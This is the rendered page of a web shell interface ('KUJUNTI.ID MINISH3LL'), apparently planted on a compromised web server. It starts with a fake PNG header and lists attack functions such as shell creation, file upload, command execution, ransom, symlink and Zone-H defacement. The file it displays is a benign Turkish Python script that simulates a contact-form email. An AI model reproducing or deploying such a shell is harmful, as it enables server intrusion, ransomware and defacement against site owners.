\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShield/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShield/send_email_manual.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Bu script form gönderimini simüle eder ve doğrudan email_service'e erişerek e-posta gönderir.
"""

import email_service
import os
import datetime

def simulate_form_submission():
    """Form gönderimini simüle et"""
    # Form verileri
    name = "Test User"
    email = "test@example.com"
    subject = "Test Message"
    message = "This is a test message from the simulated form submission."
    
    # Logla
    log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'logs')
    os.makedirs(log_dir, exist_ok=True)
    log_file = os.path.join(log_dir, f'contact_form_simulation_{datetime.datetime.now().strftime("%Y%m%d")}.txt')
    
    with open(log_file, 'a', encoding='utf-8') as f:
        timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        f.write(f"[{timestamp}] Form simülasyonu başlatılıyor\n")
        f.write(f"[{timestamp}] Veriler: name={name}, email={email}, subject={subject}, message_length={len(message)}\n")
    
    # E-posta gönderimi
    print("E-posta gönderimi başlatılıyor...")
    success = email_service.send_email_with_retry(name, email, subject, message)
    
    # Sonucu logla
    with open(log_file, 'a', encoding='utf-8') as f:
        timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        f.write(f"[{timestamp}] E-posta gönderimi sonucu: {'Başarılı' if success else 'Başarısız'}\n")
    
    return success

if __name__ == "__main__":
    success = simulate_form_submission()
    if success:
        print("E-posta başarıyla gönderildi!")
    else:
        print("E-posta gönderilemedi!")

© KUJUNTI.ID